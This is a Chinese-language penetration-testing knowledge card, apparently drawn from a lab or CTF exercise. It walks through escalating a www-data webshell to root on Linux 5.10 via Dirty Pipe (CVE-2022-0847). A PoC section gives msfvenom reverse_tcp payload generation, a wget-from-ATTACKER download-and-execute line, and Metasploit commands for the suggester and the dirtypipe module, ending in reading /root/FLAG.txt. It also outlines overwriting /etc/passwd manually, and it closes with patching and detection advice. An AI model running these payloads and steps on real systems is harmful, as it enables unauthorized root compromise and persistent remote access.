♧ Godown 安全知识树

Dirty Pipe(CVE-2022-0847):local_exploit_suggester 识别内核 5.10,MSF cve_2022_0847_dirtypipe 模块提权 root

pentest/privilege-escalation · verified

一句话结论

拿到普通用户 Shell 后,用 MSF post/multi/recon/local_exploit_suggester 按内核版本枚举本地提权模块,当内核为 5.10 等未修复版本时会报 exploit/linux/local/cve_2022_0847_dirtypipe 可利用;直接 use 该模块、设置 SESSION/LHOST/LPORT 运行,即通过 Dirty Pipe 覆写 SUID 程序页缓存执行 payload,获得 root Meterpreter 并读取 /root/FLAG.txt。本例目标内核为 5.10.0-9-amd64。

原理

  • CVE-2022-0847(Dirty Pipe)根因:Linux 5.8 起,copy_page_to_iter_pipe()/push_pipe() 把页面放入管道时未初始化 struct pipe_buffer 的 flags 字段,可能残留 PIPE_BUF_FLAG_CAN_MERGE。攻击者用 splice() 把只读文件(如 SUID 程序、/etc/passwd)的页缓存页挂到管道上后,对该管道 write() 会被当作“可合并写”直接追加进页缓存页,绕过文件的写权限检查。
  • 利用限制:写入不能跨页边界,也不能改变文件大小(只能在页内已有偏移之后覆盖);需要对目标文件有读权限。但覆写 SUID 程序代码或 /etc/passwd 的一部分足以提权。
  • MSF 模块做法:exploit/linux/local/cve_2022_0847_dirtypipe 在目标上编译/上传利用程序(本例 COMPILE=Auto,生成 /tmp/.shglkrpqos),以 SUID 二进制路径(本例 SUD_BINARY_PATH=/bin/passwd)为覆写对象,执行后借 SUID 程序获得 root 权限并回连 Meterpreter(WRITABLE_DIR=/tmp)。
  • local_exploit_suggester:该模块把目标内核版本与 MSF 本地漏洞库匹配,输出 “Potentially Vulnerable? Yes/No” 与检查结果;本例明确给出 The target appears to be vulnerable. Linux kernel version found: 5.10.0,把“人工比对内核版本”的步骤自动化。

触发条件

  • Linux 内核属于 Dirty Pipe 影响范围(5.8 引入,未修复至 5.16.11 / 5.15.25 / 5.10.102 之前;本例 5.10.0-9 在列)。
  • 已获得一个可执行命令的普通用户 Shell(本例为 www-data 的 webshell),能上传/下载并在 /tmp 等可写目录执行 ELF。
  • 目标存在可读的 SUID 程序(MSF 模块默认选取),/tmp 可写可执行。
  • MSF 能收到目标的反弹连接(reverse_tcp 出网可达攻击机)。

利用步骤

  1. 先做本地信息收集:id、ls -l /etc/passwd /etc/shadow、find / -perm -u=s -type f 2>/dev/null、sudo -s 等,确认无 SUID/sudo 捷径。
  2. 生成并上传 Meterpreter:攻击机 msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=ATTACKER lport=4444 -f elf > 4444.elf,用 python -m http.server 托管,目标 wget http://ATTACKER:7777/4444.elf -O /tmp/4444.elf && chmod +x /tmp/4444.elf && /tmp/4444.elf。
  3. MSF 开 multi/handler(payload 与木马一致,LHOST/LPORT 对应),收到会话后 bg 放后台。
  4. use post/multi/recon/local_exploit_suggester;set session <id>;run,从结果中确认 exploit/linux/local/cve_2022_0847_dirtypipe 为 “Yes / The target appears to be vulnerable”。
  5. use exploit/linux/local/cve_2022_0847_dirtypipe;set session <id>;set lhost ATTACKER;set lport <第二个端口>;run。
  6. 模块编译并执行利用程序、发送 stage,得到 root Meterpreter;getuid 为 Server username: root,shell 后 cat /root/FLAG.txt。

PoC

# 攻击机:生成并托管 ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=ATTACKER lport=4444 -f elf > 4444.elf
python -m http.server 7777
# 目标机:下载执行
cd /tmp && wget http://ATTACKER:7777/4444.elf && chmod +x 4444.elf && ./4444.elf
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost ATTACKER
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run
# 收到 session 后
meterpreter > bg
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
msf6 post(multi/recon/local_exploit_suggester) > run
msf6 > use exploit/linux/local/cve_2022_0847_dirtypipe
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set session 1
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lhost ATTACKER
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lport 5555
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > run

变体与关联

  • 手动利用:可直接用公开的 dirtypipe 利用程序覆写 /etc/passwd(把当前用户改为无密码 root)或 SUID 程序后门化,不依赖 MSF;要点同样是“对只读文件页缓存的页内覆盖”。
  • 同类内核漏洞对比:本卡与 [[pentest-privilege-escalation-dirtycow-cve-2016-5195-local-root]](Dirty COW,COW 竞态写只读映射)同属“写只读文件页缓存”思路,但 CVE-2022-0847 无需竞态、成功率高;若 SUID/sudo 路线可用也可先用 [[pentest-privilege-escalation-file-capabilities-abuse]] 等低风险手法。
  • 方法论:不依赖 MSF 时按 [[pentest-privilege-escalation-linux-kernel-exp-selection-compile-run]] 的方式用 uname 定版本、searchsploit 选 exp、传 /tmp 编译执行。

检测与防御

  • 修复:升级内核到 5.16.11 / 5.15.25 / 5.10.102 及以上;容器/主机统一做内核版本基线与补丁管理。
  • 检测:local_exploit_suggester 与模块本身在目标上留下 /tmp/.随机名 编译产物(本例 /tmp/.shglkrpqos)和 Meterpreter ELF;监控 /tmp、/dev/shm 下 ELF 的创建与执行、异常 SUID 程序执行、反弹连接。
  • 加固:限制 Web 用户可写可执行目录(/tmp 挂 noexec)、出站白名单、最小化 SUID 程序、EDR 监控进程把 SUID 程序当容器执行 payload 的行为。